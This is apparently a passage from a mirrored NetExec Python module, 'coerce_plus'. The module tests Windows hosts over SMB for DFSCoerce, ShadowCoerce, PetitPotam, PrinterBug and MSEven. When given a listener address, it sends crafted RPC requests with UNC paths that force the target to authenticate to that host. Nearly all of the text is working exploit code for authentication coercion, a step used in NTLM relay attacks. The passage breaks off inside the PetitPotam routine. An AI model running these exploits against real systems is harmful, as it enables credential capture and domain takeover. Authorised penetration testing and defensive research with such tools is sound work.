mirror of
https://github.com/Pennyw0rth/NetExec
synced 2026-06-06 16:34:30 +00:00
1276 lines
53 KiB
Python
1276 lines
53 KiB
Python
from impacket.dcerpc.v5 import transport, rprn, even, epm
|
|
from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRPOINTER, NDRUniConformantArray, NDRPOINTERNULL
|
|
from impacket.dcerpc.v5.dtypes import LPBYTE, USHORT, LPWSTR, DWORD, ULONG, NULL, WSTR, LONG, BOOL, PCHAR, RPC_SID
|
|
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
|
|
from impacket.uuid import uuidtup_to_bin
|
|
from nxc.helpers.misc import CATEGORY
|
|
import contextlib
|
|
|
|
|
|
class NXCModule:
|
|
name = "coerce_plus"
|
|
description = "Module to check if the Target is vulnerable to any coerce vulns. Set LISTENER IP for coercion."
|
|
supported_protocols = ["smb"]
|
|
category = CATEGORY.PRIVILEGE_ESCALATION
|
|
|
|
def __init__(self, context=None, module_options=None):
|
|
self.context = context
|
|
self.module_options = module_options
|
|
self.listener = None
|
|
self.always_continue = None
|
|
self.method = "all"
|
|
|
|
def options(self, context, module_options):
|
|
"""
|
|
LISTENER LISTENER for exploitation (default: 127.0.0.1)
|
|
ALWAYS Always continue to all exploit (default: False)
|
|
METHOD Exploit method (Petitpotam, DFSCoerce, ShadowCoerce, Printerbug, MSEven, All default: All)
|
|
M Alias for METHOD
|
|
L Alias for LISTENER
|
|
"""
|
|
self.listener = None
|
|
if "LISTENER" in module_options:
|
|
self.listener = module_options["LISTENER"]
|
|
if "L" in module_options:
|
|
self.listener = module_options["L"]
|
|
if "ALWAYS" in module_options:
|
|
self.always_continue = True
|
|
if "METHOD" in module_options:
|
|
self.method = module_options["METHOD"].lower()
|
|
if "M" in module_options:
|
|
self.method = module_options["M"].lower()
|
|
|
|
def on_login(self, context, connection):
|
|
runmethod = False
|
|
if self.method == "all" or self.method[:1] == "d": # DFSCoerce
|
|
runmethod = True
|
|
"""DFSCOERCE START"""
|
|
try:
|
|
dfscocerceclass = DFSCoerceTrigger(context)
|
|
target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
|
|
dfscocerceconnect = dfscocerceclass.connect(
|
|
username=connection.username,
|
|
password=connection.password,
|
|
domain=connection.domain,
|
|
lmhash=connection.lmhash,
|
|
nthash=connection.nthash,
|
|
target=target,
|
|
doKerberos=connection.kerberos,
|
|
dcHost=connection.kdcHost,
|
|
aesKey=connection.aesKey,
|
|
pipe="netdfs"
|
|
)
|
|
|
|
if dfscocerceconnect is not None:
|
|
context.log.debug("Target is vulnerable to DFSCoerce")
|
|
context.log.highlight("VULNERABLE, DFSCoerce")
|
|
if self.listener is not None: # exploit
|
|
dfscocerceclass.exploit(dfscocerceconnect, self.listener, self.always_continue, "netdfs")
|
|
dfscocerceconnect.disconnect()
|
|
else:
|
|
context.log.debug("Target is not vulnerable to DFSCoerce")
|
|
except Exception as e:
|
|
context.log.error(f"Error in DFSCoerce module: {e}")
|
|
""" DFSCOERCE END """
|
|
|
|
if self.method == "all" or self.method[:1] == "s": # ShadowCoerce
|
|
runmethod = True
|
|
""" ShadowCoerce START """
|
|
try:
|
|
shadowcocerceclass = ShadowCoerceTrigger(context)
|
|
target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
|
|
shadowcocerceconnect = shadowcocerceclass.connect(
|
|
username=connection.username,
|
|
password=connection.password,
|
|
domain=connection.domain,
|
|
lmhash=connection.lmhash,
|
|
nthash=connection.nthash,
|
|
target=target,
|
|
doKerberos=connection.kerberos,
|
|
dcHost=connection.kdcHost,
|
|
aesKey=connection.aesKey,
|
|
pipe="Fssagentrpc"
|
|
)
|
|
|
|
if shadowcocerceconnect is not None:
|
|
context.log.debug("Target is vulnerable to ShadowCoerce")
|
|
context.log.highlight("VULNERABLE, ShadowCoerce")
|
|
if self.listener is not None: # exploit
|
|
shadowcocerceclass.exploit(shadowcocerceconnect, self.listener, self.always_continue, "Fssagentrpc")
|
|
shadowcocerceconnect.disconnect()
|
|
else:
|
|
context.log.debug("Target is not vulnerable to ShadowCoerce")
|
|
except Exception as e:
|
|
context.log.error(f"Error in ShadowCoerce module: {e}")
|
|
""" ShadowCoerce END """
|
|
|
|
if self.method == "all" or self.method[:2] == "pe": # PetitPotam
|
|
runmethod = True
|
|
""" PETITPOTAM START """
|
|
pipes = ["efsrpc", "lsarpc", "samr", "lsass", "netlogon"]
|
|
reducelog = True
|
|
for pipe in pipes:
|
|
context.log.debug(f"Trying to connect to {pipe} pipe")
|
|
try:
|
|
petitpotamclass = PetitPotamtTrigger(context)
|
|
target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
|
|
petitpotamconnect = petitpotamclass.connect(
|
|
username=connection.username,
|
|
password=connection.password,
|
|
domain=connection.domain,
|
|
lmhash=connection.lmhash,
|
|
nthash=connection.nthash,
|
|
target=target,
|
|
doKerberos=connection.kerberos,
|
|
dcHost=connection.kdcHost,
|
|
aesKey=connection.aesKey,
|
|
pipe=pipe
|
|
)
|
|
|
|
if petitpotamconnect is not None:
|
|
if reducelog:
|
|
context.log.debug("Target is vulnerable to PetitPotam")
|
|
context.log.highlight("VULNERABLE, PetitPotam")
|
|
reducelog = False
|
|
if self.listener is not None: # exploit TODO
|
|
exploit_status = petitpotamclass.exploit(petitpotamconnect, self.listener, self.always_continue, pipe)
|
|
if not self.always_continue and exploit_status:
|
|
break
|
|
petitpotamconnect.disconnect()
|
|
else:
|
|
context.log.debug("Target is not vulnerable to PetitPotam")
|
|
except Exception as e:
|
|
context.log.error(f"Error in PetitPotam module: {e}")
|
|
""" PETITPOTAM END """
|
|
|
|
if self.method == "all" or self.method[:2] == "pr": # PrinterBug
|
|
runmethod = True
|
|
""" PRINTERBUG START """
|
|
pipes = ["spoolss", "[dcerpc]"]
|
|
for pipe in pipes:
|
|
try:
|
|
printerbugclass = PrinterBugTrigger(context)
|
|
target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
|
|
printerbugconnect = printerbugclass.connect(
|
|
username=connection.username,
|
|
password=connection.password,
|
|
domain=connection.domain,
|
|
lmhash=connection.lmhash,
|
|
nthash=connection.nthash,
|
|
target=target,
|
|
doKerberos=connection.kerberos,
|
|
dcHost=connection.kdcHost,
|
|
aesKey=connection.aesKey,
|
|
pipe=pipe
|
|
)
|
|
|
|
if printerbugconnect is not None:
|
|
context.log.debug("Target is vulnerable to PrinterBug")
|
|
context.log.highlight("VULNERABLE, PrinterBug")
|
|
if self.listener is not None: # exploit
|
|
exploit_status = printerbugclass.exploit(printerbugconnect, self.listener, target, self.always_continue, pipe)
|
|
if not self.always_continue and exploit_status:
|
|
break
|
|
printerbugconnect.disconnect()
|
|
else:
|
|
context.log.debug("Target is not vulnerable to PrinterBug")
|
|
except Exception as e:
|
|
context.log.error(f"Error in PrinterBug module: {e}")
|
|
""" PRINTERBUG END """
|
|
|
|
if self.method == "all" or self.method[:1] == "m": # MSEven
|
|
runmethod = True
|
|
""" MSEVEN START """
|
|
try:
|
|
msevenclass = MSEvenTrigger(context)
|
|
target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
|
|
msevenconnect = msevenclass.connect(
|
|
username=connection.username,
|
|
password=connection.password,
|
|
domain=connection.domain,
|
|
lmhash=connection.lmhash,
|
|
nthash=connection.nthash,
|
|
target=target,
|
|
doKerberos=connection.kerberos,
|
|
dcHost=connection.kdcHost,
|
|
aesKey=connection.aesKey,
|
|
pipe="eventlog"
|
|
)
|
|
|
|
if msevenconnect is not None:
|
|
context.log.debug("Target is vulnerable to MSEven")
|
|
context.log.highlight("VULNERABLE, MSEven")
|
|
if self.listener is not None: # exploit
|
|
msevenclass.exploit(msevenconnect, self.listener, self.always_continue, "eventlog")
|
|
msevenconnect.disconnect()
|
|
else:
|
|
context.log.debug("Target is not vulnerable to MSEven")
|
|
except Exception as e:
|
|
context.log.error(f"Error in MSEven module: {e}")
|
|
""" MSEVEN END """
|
|
if not runmethod:
|
|
context.log.error("Invalid method, please check the method name.")
|
|
return
|
|
|
|
@staticmethod
|
|
def get_dynamic_endpoint(interface: bytes, target: str, timeout: int = 5) -> str:
|
|
string_binding = rf"ncacn_ip_tcp:{target}[135]"
|
|
rpctransport = transport.DCERPCTransportFactory(string_binding)
|
|
rpctransport.set_connect_timeout(timeout)
|
|
dce = rpctransport.get_dce_rpc()
|
|
dce.connect()
|
|
return epm.hept_map(target, interface, protocol="ncacn_ip_tcp", dce=dce)
|
|
|
|
|
|
class ShadowCoerceTrigger:
|
|
def __init__(self, context):
|
|
self.context = context
|
|
|
|
def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, dcHost, pipe):
|
|
binding_params = {
|
|
"Fssagentrpc": {
|
|
"stringBinding": rf"ncacn_np:{target}[\PIPE\Fssagentrpc]",
|
|
"MSRPC_UUID_FSRVP": ("a8e0653c-2744-4389-a61d-7373df8b2292", "3.0"),
|
|
},
|
|
}
|
|
rpctransport = transport.DCERPCTransportFactory(binding_params[pipe]["stringBinding"])
|
|
if hasattr(rpctransport, "set_credentials"):
|
|
rpctransport.set_credentials(
|
|
username=username,
|
|
password=password,
|
|
domain=domain,
|
|
lmhash=lmhash,
|
|
nthash=nthash,
|
|
aesKey=aesKey,
|
|
)
|
|
|
|
if doKerberos:
|
|
rpctransport.set_kerberos(doKerberos, kdcHost=dcHost)
|
|
|
|
rpctransport.setRemoteHost(target)
|
|
dce = rpctransport.get_dce_rpc()
|
|
if doKerberos:
|
|
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
|
|
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
|
|
self.context.log.debug(f"Connecting to {format(binding_params[pipe]['stringBinding'])}")
|
|
try:
|
|
dce.connect()
|
|
except Exception as e:
|
|
self.context.log.debug(f"Something went wrong, check error status => {e!s}")
|
|
return None
|
|
try:
|
|
dce.bind(uuidtup_to_bin(binding_params[pipe]["MSRPC_UUID_FSRVP"]))
|
|
except Exception as e:
|
|
self.context.log.debug(f"Something went wrong, check error status => {e!s}")
|
|
return None
|
|
self.context.log.debug("[+] Successfully bound!")
|
|
return dce
|
|
|
|
def exploit(self, dce, listener, always_continue, pipe):
|
|
self.context.log.debug("Sending IsPathShadowCopied!")
|
|
try:
|
|
request = IsPathShadowCopied()
|
|
request["ShareName"] = f"{listener}\x00"
|
|
dce.request(request)
|
|
except Exception as e:
|
|
if str(e).find("rpc_s_access_denied") >= 0:
|
|
self.context.log.debug("IsPathShadowCopied Success")
|
|
self.context.log.highlight(f"Exploit Success, {pipe}\\IsPathShadowCopied")
|
|
if not always_continue:
|
|
return True
|
|
else:
|
|
self.context.log.debug(f"Something went wrong, check error status => {e!s}")
|
|
|
|
self.context.log.debug("Sending IsPathSupported!")
|
|
try:
|
|
request = IsPathSupported()
|
|
request["ShareName"] = f"{listener}\x00"
|
|
dce.request(request)
|
|
except Exception as e:
|
|
if str(e).find("rpc_s_access_denied") >= 0:
|
|
self.context.log.debug("IsPathSupported Success")
|
|
self.context.log.highlight(f"Exploit Success, {pipe}\\IsPathSupported")
|
|
if not always_continue:
|
|
return True
|
|
else:
|
|
self.context.log.debug(f"Something went wrong, check error status => {e!s}")
|
|
|
|
|
|
class NetrDfsAddStdRootForcedResponse(NDRCALL):
|
|
structure = ()
|
|
|
|
|
|
class NetrDfsAddStdRootForced(NDRCALL):
|
|
opnum = 15
|
|
structure = (
|
|
("ServerName", WSTR), # Type: WCHAR *
|
|
("RootShare", WSTR), # Type: WCHAR *
|
|
("Comment", WSTR), # Type: WCHAR *
|
|
("Share", WSTR), # Type: WCHAR *
|
|
)
|
|
|
|
|
|
class NetrDfsRemoveRootTargetResponse(NDRCALL):
|
|
structure = ()
|
|
|
|
|
|
class NetrDfsRemoveRootTarget(NDRCALL):
|
|
opnum = 24
|
|
structure = (
|
|
("pDfsPath", LPWSTR), # Type: LPWSTR
|
|
("pTargetPath", LPWSTR), # Type: LPWSTR
|
|
("Flags", ULONG), # Type: ULONG
|
|
)
|
|
|
|
|
|
class NetrDfsAddRootTargetResponse(NDRCALL):
|
|
structure = ()
|
|
|
|
|
|
class NetrDfsAddRootTarget(NDRCALL):
|
|
opnum = 23
|
|
structure = (
|
|
("pDfsPath", LPWSTR), # Type: LPWSTR
|
|
("pTargetPath", LPWSTR), # Type: LPWSTR
|
|
("MajorVersion", ULONG), # Type: ULONG
|
|
("pComment", LPWSTR), # Type: LPWSTR
|
|
("NewNamespace", BOOL), # Type: BOOLEAN
|
|
("Flags", ULONG), # Type: ULONG
|
|
)
|
|
|
|
|
|
class DFSCoerceTrigger:
|
|
def __init__(self, context):
|
|
self.context = context
|
|
|
|
def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, dcHost, pipe):
|
|
binding_params = {
|
|
"netdfs": {
|
|
"stringBinding": rf"ncacn_np:{target}[\PIPE\netdfs]",
|
|
"MSRPC_UUID_DFSNM": ("4fc742e0-4a10-11cf-8273-00aa004ae673", "3.0"),
|
|
},
|
|
}
|
|
rpctransport = transport.DCERPCTransportFactory(binding_params[pipe]["stringBinding"])
|
|
rpctransport.set_dport(445)
|
|
|
|
if hasattr(rpctransport, "set_credentials"):
|
|
rpctransport.set_credentials(
|
|
username=username,
|
|
password=password,
|
|
domain=domain,
|
|
lmhash=lmhash,
|
|
nthash=nthash,
|
|
aesKey=aesKey,
|
|
)
|
|
|
|
if doKerberos:
|
|
rpctransport.set_kerberos(doKerberos, kdcHost=dcHost)
|
|
|
|
rpctransport.setRemoteHost(target)
|
|
dce = rpctransport.get_dce_rpc()
|
|
if doKerberos:
|
|
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
|
|
self.context.log.debug(f"Connecting to {format(binding_params[pipe]['stringBinding'])}")
|
|
try:
|
|
dce.connect()
|
|
except Exception as e:
|
|
self.context.log.debug(f"Something went wrong, check error status => {e!s}")
|
|
return None
|
|
try:
|
|
dce.bind(uuidtup_to_bin(binding_params[pipe]["MSRPC_UUID_DFSNM"]))
|
|
except Exception as e:
|
|
self.context.log.debug(f"Something went wrong, check error status => {e!s}")
|
|
return None
|
|
self.context.log.debug("[+] Successfully bound!")
|
|
return dce
|
|
|
|
def exploit(self, dce, listener, always_continue, pipe):
|
|
self.context.log.debug("Sending NetrDfsAddStdRootForced!")
|
|
try:
|
|
request = NetrDfsAddStdRootForced()
|
|
""" NET_API_STATUS NetrDfsAddStdRootForced(
|
|
[in, string] WCHAR* ServerName,
|
|
[in, string] WCHAR* RootShare,
|
|
[in, string] WCHAR* Comment,
|
|
[in, string] WCHAR* Share
|
|
);
|
|
"""
|
|
request["ServerName"] = f"{listener}\x00"
|
|
request["RootShare"] = "test\x00"
|
|
request["Comment"] = "test\x00"
|
|
request["Share"] = "x:\\test\x00"
|
|
|
|
dce.request(request)
|
|
except Exception as e:
|
|
self.handle_exception(request.__class__.__name__, always_continue, pipe, e)
|
|
|
|
self.context.log.debug("Sending NetrDfsAddRootTarget!")
|
|
try:
|
|
request = NetrDfsAddRootTarget()
|
|
""" NET_API_STATUS NetrDfsAddRootTarget(
|
|
[in, unique, string] LPWSTR pDfsPath,
|
|
[in, unique, string] LPWSTR pTargetPath,
|
|
[in] ULONG MajorVersion,
|
|
[in, unique, string] LPWSTR pComment,
|
|
[in] BOOLEAN NewNamespace,
|
|
[in] ULONG Flags
|
|
);
|
|
"""
|
|
request["pDfsPath"] = f"\\\\{listener}\\a\x00"
|
|
request["pTargetPath"] = NULL
|
|
request["MajorVersion"] = 0
|
|
request["pComment"] = "test\x00"
|
|
request["NewNamespace"] = 0
|
|
request["Flags"] = 0
|
|
dce.request(request)
|
|
self.context.log.debug("NetrDfsAddRootTarget Success")
|
|
return True
|
|
except Exception as e:
|
|
self.handle_exception(request.__class__.__name__, always_continue, pipe, e)
|
|
|
|
# Private exploit
|
|
self.context.log.debug("Sending NetrDfsRemoveRootTarget!")
|
|
try:
|
|
request = NetrDfsRemoveRootTarget()
|
|
""" NET_API_STATUS NetrDfsRemoveRootTarget(
|
|
[in, unique, string] LPWSTR pDfsPath,
|
|
[in, unique, string] LPWSTR pTargetPath,
|
|
[in] ULONG Flags
|
|
);
|
|
"""
|
|
request["pDfsPath"] = f"\\\\{listener}\\a\x00"
|
|
request["pTargetPath"] = NULL
|
|
request["Flags"] = 0
|
|
dce.request(request)
|
|
self.context.log.debug("NetrDfsRemoveRootTarget Success")
|
|
return True
|
|
except Exception as e:
|
|
self.handle_exception(request.__class__.__name__, always_continue, pipe, e)
|
|
|
|
self.context.log.debug("Sending NetrDfsManagerInitialize!")
|
|
try:
|
|
request = NetrDfsManagerInitialize()
|
|
""" NET_API_STATUS NetrDfsManagerInitialize(
|
|
[in, string] WCHAR* ServerName,
|
|
[in] DWORD Flags
|
|
);
|
|
"""
|
|
request["ServerName"] = f"{listener}\x00"
|
|
request["Flags"] = 0 # Flags: This parameter MUST be zero.
|
|
|
|
dce.request(request)
|
|
except Exception as e:
|
|
self.handle_exception(request.__class__.__name__, always_continue, pipe, e)
|
|
|
|
self.context.log.debug("Sending NetrDfsManagerInitialize!")
|
|
try:
|
|
request = NetrDfsManagerInitialize()
|
|
""" NET_API_STATUS NetrDfsManagerInitialize(
|
|
[in, string] WCHAR* ServerName,
|
|
[in] DWORD Flags
|
|
);
|
|
"""
|
|
request["ServerName"] = f"{listener}\x00"
|
|
request["Flags"] = 0 # Flags: This parameter MUST be zero.
|
|
|
|
dce.request(request)
|
|
except Exception as e:
|
|
self.handle_exception(request.__class__.__name__, always_continue, pipe, e)
|
|
|
|
self.context.log.debug("Sending NetrDfsAddStdRoot!")
|
|
try:
|
|
request = NetrDfsAddStdRoot()
|
|
request["ServerName"] = f"{listener}\x00"
|
|
request["RootShare"] = "test\x00"
|
|
request["Comment"] = "test\x00"
|
|
request["ApiFlags"] = 0
|
|
dce.request(request)
|
|
except Exception as e:
|
|
self.handle_exception(request.__class__.__name__, always_continue, pipe, e)
|
|
|
|
self.context.log.debug("Sending NetrDfsRemoveStdRoot!")
|
|
try:
|
|
request = NetrDfsRemoveStdRoot()
|
|
request["ServerName"] = f"{listener}\x00"
|
|
request["RootShare"] = "test\x00"
|
|
request["ApiFlags"] = 0
|
|
dce.request(request)
|
|
except Exception as e:
|
|
self.handle_exception(request.__class__.__name__, always_continue, pipe, e)
|
|
|
|
def handle_exception(self, method_name, always_continue, pipe, e):
|
|
if str(e).find("rpc_s_access_denied") >= 0 or str(e).find("ERROR_BAD_NETPATH") >= 0 or str(e).find("RPC_S_INVALID_NET_ADDR") >= 0:
|
|
self.context.log.debug(f"{method_name} Success")
|
|
self.context.log.highlight(f"Exploit Success, {pipe}\\{method_name}")
|
|
if not always_continue:
|
|
return True
|
|
elif str(e).find("ERROR_NOT_SUPPORTED") >= 0:
|
|
self.context.log.debug("Not Vulnerable")
|
|
else:
|
|
self.context.log.debug(f"Something went wrong, check error status => {e!s}")
|
|
|
|
|
|
class PetitPotamtTrigger:
|
|
def __init__(self, context):
|
|
self.context = context
|
|
|
|
def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, dcHost, pipe):
|
|
binding_params = {
|
|
"lsarpc": {
|
|
"stringBinding": rf"ncacn_np:{target}[\PIPE\lsarpc]",
|
|
"MSRPC_UUID_EFSR": ("c681d488-d850-11d0-8c52-00c04fd90f7e", "1.0"),
|
|
},
|
|
"efsrpc": {
|
|
"stringBinding": rf"ncacn_np:{target}[\PIPE\efsrpc]",
|
|
"MSRPC_UUID_EFSR": ("df1941c5-fe89-4e79-bf10-463657acf44d", "1.0"),
|
|
},
|
|
"samr": {
|
|
"stringBinding": rf"ncacn_np:{target}[\PIPE\samr]",
|
|
"MSRPC_UUID_EFSR": ("c681d488-d850-11d0-8c52-00c04fd90f7e", "1.0"),
|
|
},
|
|
"lsass": {
|
|
"stringBinding": rf"ncacn_np:{target}[\PIPE\lsass]",
|
|
"MSRPC_UUID_EFSR": ("c681d488-d850-11d0-8c52-00c04fd90f7e", "1.0"),
|
|
},
|
|
"netlogon": {
|
|
"stringBinding": rf"ncacn_np:{target}[\PIPE\netlogon]",
|
|
"MSRPC_UUID_EFSR": ("c681d488-d850-11d0-8c52-00c04fd90f7e", "1.0"),
|
|
},
|
|
}
|
|
|
|
# activates EFS
|
|
# https://specterops.io/blog/2025/08/19/will-webclient-start/
|
|
with contextlib.suppress(Exception):
|
|
NXCModule.get_dynamic_endpoint(uuidtup_to_bin(("df1941c5-fe89-4e79-bf10-463657acf44d", "0.0")), target, timeout=1)
|
|
|
|
rpctransport = transport.DCERPCTransportFactory(binding_params[pipe]["stringBinding"])
|
|
rpctransport.set_dport(445)
|
|
|
|
if hasattr(rpctransport, "set_credentials"):
|
|
rpctransport.set_credentials(
|
|
username=username,
|
|
password=password,
|
|
domain=domain,
|
|
lmhash=lmhash,
|
|
nthash=nthash,
|
|
aesKey=aesKey,
|
|
)
|
|
|
|
if doKerberos:
|
|
rpctransport.set_kerberos(doKerberos, kdcHost=dcHost)
|
|
|
|
rpctransport.setRemoteHost(target)
|
|
dce = rpctransport.get_dce_rpc()
|
|
if doKerberos:
|
|
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
|
|
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
|
|
self.context.log.debug(f"Connecting to {format(binding_params[pipe]['stringBinding'])}")
|
|
try:
|
|
dce.connect()
|
|
except Exception as e:
|
|
self.context.log.debug(f"Something went wrong, check error status => {e!s}")
|
|
return None
|
|
try:
|
|
dce.bind(uuidtup_to_bin(binding_params[pipe]["MSRPC_UUID_EFSR"]))
|
|
except Exception as e:
|
|
self.context.log.debug(f"Something went wrong, check error status => {e!s}")
|
|
return None
|
|
self.context.log.debug("Successfully bound!")
|
|
return dce
|
|
|
|
def exploit(self, dce, listener, always_continue, pipe):
|
|
self.context.log.debug("Sending EfsRpcAddUsersToFile!")
|
|
try:
|
|
request = EfsRpcAddUsersToFile()
|
|
request["FileName"] = f"\\\\{listener}\\test\\Settings.ini\x00"
|
|
dce.request(request)
|
|
except Exception as e:
|
|
if str(e).find("ERROR_BAD_NETPATH") >= 0:
|
|
self.context.log.debug("EfsRpcAddUsersToFile Success")
|
|
self.context.log.highlight(f"Exploit Success, {pipe}\\EfsRpcAddUsersToFile")
|
|
if not always_continue:
|
|
return True
|
|
elif str(e).find("rpc_s_access_denied") >= 0 or str(e).find("ERROR_INVALID_NAME") >= 0:
|
|
self.context.log.debug("Not Vulnerable")
|
|
else:
|
|
self.context.log.debug(f"Something went wrong, check error status => {e!s}")
|
|
|
|
self.context.log.debug("Sending EfsRpcAddUsersToFileEx!")
|
|
try:
|
|
request = EfsRpcAddUsersToFileEx()
|
|
request["dwFlags"] = 0x00000002
|
|
request["FileName"] = f"\\\\{listener}\\test\\Settings.ini\x00"
|
|
dce.request(request)
|
|
except Exception as e:
|
|
if str(e).find("ERROR_BAD_NETPATH") >= 0:
|
|
self.context.log.debug("EfsRpcAddUsersToFileEx Success")
|
|
self.context.log.highlight(f"Exploit Success, {pipe}\\EfsRpcAddUsersToFileEx")
|
|
if not always_continue:
|
|
return True
|
|
elif str(e).find("rpc_s_access_denied") >= 0 or str(e).find("ERROR_INVALID_NAME") >= 0:
|
|
self.context.log.debug("Not Vulnerable")
|
|
else:
|
|
self.context.log.debug(f"Something went wrong, check error status => {e!s}")
|
|
|
|
self.context.log.debug("Sending EfsRpcDecryptFileSrv!")
|
|
try:
|
|
request = EfsRpcDecryptFileSrv()
|
|
request["OpenFlag"] = 0
|
|
request["FileName"] = f"\\\\{listener}\\test\\Settings.ini\x00"
|
|
dce.request(request)
|
|
except Exception as e:
|
|
if str(e).find("ERROR_BAD_NETPATH") >= 0:
|
|
self.context.log.debug("EfsRpcDecryptFileSrv Success")
|
|
self.context.log.highlight(f"Exploit Success, {pipe}\\EfsRpcDecryptFileSrv")
|
|
if not always_continue:
|
|
return True
|
|
elif str(e).find("rpc_s_access_denied") >= 0 or str(e).find("ERROR_INVALID_NAME") >= 0:
|
|
self.context.log.debug("Not Vulnerable")
|
|
else:
|
|
self.context.log.debug(f"Something went wrong, check error status => {e!s}")
|
|
|
|
self.context.log.debug("Sending EfsRpcDuplicateEncryptionInfoFile!")
|
|
try:
|
|
request = EfsRpcDuplicateEncryptionInfoFile()
|
|
request["SrcFileName"] = f"\\\\{listener}\\test\\Settings.ini\x00"
|
|
request["DestFileName"] = f"\\\\{listener}\\test\\Settings.ini\x00"
|
|
request["dwCreationDisposition"] = 0
|
|
request["dwAttributes"] = 0
|
|
request["RelativeSD"] = EFS_RPC_BLOB()
|
|
request["bInheritHandle"] = 0
|
|
dce.request(request)
|
|
except Exception as e:
|
|
if str(e).find("ERROR_BAD_NETPATH") >= 0:
|
|
self.context.log.debug("EfsRpcDuplicateEncryptionInfoFile Success")
|
|
self.context.log.highlight(f"Exploit Success, {pipe}\\EfsRpcDuplicateEncryptionInfoFile")
|
|
if not always_continue:
|
|
return True
|
|
elif str(e).find("rpc_s_access_denied") >= 0 or str(e).find("ERROR_INVALID_NAME") >= 0:
|
|
self.context.log.debug("Not Vulnerable")
|
|
else:
|
|
self.context.log.debug(f"Something went wrong, check error status => {e!s}")
|
|
|
|
self.context.log.debug("Sending EfsRpcEncryptFileSrv!")
|
|
try:
|
|
request = EfsRpcEncryptFileSrv()
|
|
request["FileName"] = f"\\\\{listener}\\test\\Settings.ini\x00"
|
|
dce.request(request)
|
|
except Exception as e:
|
|
if str(e).find("ERROR_BAD_NETPATH") >= 0:
|
|
self.context.log.debug("EfsRpcEncryptFileSrv Success")
|
|
self.context.log.highlight(f"Exploit Success, {pipe}\\EfsRpcEncryptFileSrv")
|
|
if not always_continue:
|
|
return True
|
|
elif str(e).find("rpc_s_access_denied") >= 0 or str(e).find("ERROR_INVALID_NAME") >= 0:
|
|
self.context.log.debug("Not Vulnerable")
|
|
else:
|
|
self.context.log.debug(f"Something went wrong, check error status => {e!s}")
|
|
|
|
self.context.log.debug("Sending EfsRpcEncryptFileSrv!")
|
|
try:
|
|
request = EfsRpcEncryptFileSrv()
|
|
request["FileName"] = f"\\\\{listener}\\test\\Settings.ini\x00"
|
|
dce.request(request)
|
|
except Exception as e:
|
|
if str(e).find("ERROR_BAD_NETPATH") >= 0:
|
|
self.context.log.debug("EfsRpcEncryptFileSrv Success")
|
|
self.context.log.highlight(f"Exploit Success, {pipe}\\EfsRpcEncryptFileSrv")
|
|
if not always_continue:
|
|
return True
|
|
elif str(e).find("rpc_s_access_denied") >= 0 or str(e).find("ERROR_INVALID_NAME") >= 0:
|
|
self.context.log.debug("Not Vulnerable")
|
|
else:
|
|
self.context.log.debug(f"Something went wrong, check error status => {e!s}")
|
|
|
|
self.context.log.debug("Sending EfsRpcFileKeyInfo!")
|
|
try:
|
|
request = EfsRpcFileKeyInfo()
|
|
request["FileName"] = f"\\\\{listener}\\test\\Settings.ini\x00"
|
|
request["InfoClass"] = 0
|
|
dce.request(request)
|
|
except Exception as e:
|
|
if str(e).find("ERROR_BAD_NETPATH") >= 0:
|
|
self.context.log.debug("EfsRpcFileKeyInfo Success")
|
|
self.context.log.highlight(f"Exploit Success, {pipe}\\EfsRpcFileKeyInfo")
|
|
if not always_continue:
|
|
return True
|
|
elif str(e).find("rpc_s_access_denied") >= 0 or str(e).find("ERROR_INVALID_NAME") >= 0:
|
|
self.context.log.debug("Not Vulnerable")
|
|
else:
|
|
self.context.log.debug(f"Something went wrong, check error status => {e!s}")
|
|
|
|
self.context.log.debug("Sending EfsRpcQueryRecoveryAgents!")
|
|
try:
|
|
request = EfsRpcQueryRecoveryAgents()
|
|
request["FileName"] = f"\\\\{listener}\\test\\Settings.ini\x00"
|
|
dce.request(request)
|
|
except Exception as e:
|
|
if str(e).find("ERROR_BAD_NETPATH") >= 0:
|
|
self.context.log.debug("EfsRpcQueryRecoveryAgents Success")
|
|
self.context.log.highlight(f"Exploit Success, {pipe}\\EfsRpcQueryRecoveryAgents")
|
|
if not always_continue:
|
|
return True
|
|
elif str(e).find("rpc_s_access_denied") >= 0 or str(e).find("ERROR_INVALID_NAME") >= 0:
|
|
self.context.log.debug("Not Vulnerable")
|
|
else:
|
|
self.context.log.debug(f"Something went wrong, check error status => {e!s}")
|
|
|
|
self.context.log.debug("Sending EfsRpcQueryUsersOnFile!")
|
|
try:
|
|
request = EfsRpcQueryUsersOnFile()
|
|
request["FileName"] = f"\\\\{listener}\\test\\Settings.ini\x00"
|
|
dce.request(request)
|
|
except Exception as e:
|
|
if str(e).find("ERROR_BAD_NETPATH") >= 0:
|
|
self.context.log.debug("EfsRpcQueryUsersOnFile Success")
|
|
self.context.log.highlight(f"Exploit Success, {pipe}\\EfsRpcQueryUsersOnFile")
|
|
if not always_continue:
|
|
return True
|
|
elif str(e).find("rpc_s_access_denied") >= 0 or str(e).find("ERROR_INVALID_NAME") >= 0:
|
|
self.context.log.debug("Not Vulnerable")
|
|
else:
|
|
self.context.log.debug(f"Something went wrong, check error status => {e!s}")
|
|
|
|
self.context.log.debug("Sending EfsRpcRemoveUsersFromFile!")
|
|
try:
|
|
request = EfsRpcRemoveUsersFromFile()
|
|
request["FileName"] = f"\\\\{listener}\\test\\Settings.ini\x00"
|
|
dce.request(request)
|
|
except Exception as e:
|
|
if str(e).find("ERROR_BAD_NETPATH") >= 0:
|
|
self.context.log.debug("EfsRpcRemoveUsersFromFile Success")
|
|
self.context.log.highlight(f"Exploit Success, {pipe}\\EfsRpcRemoveUsersFromFile")
|
|
if not always_continue:
|
|
return True
|
|
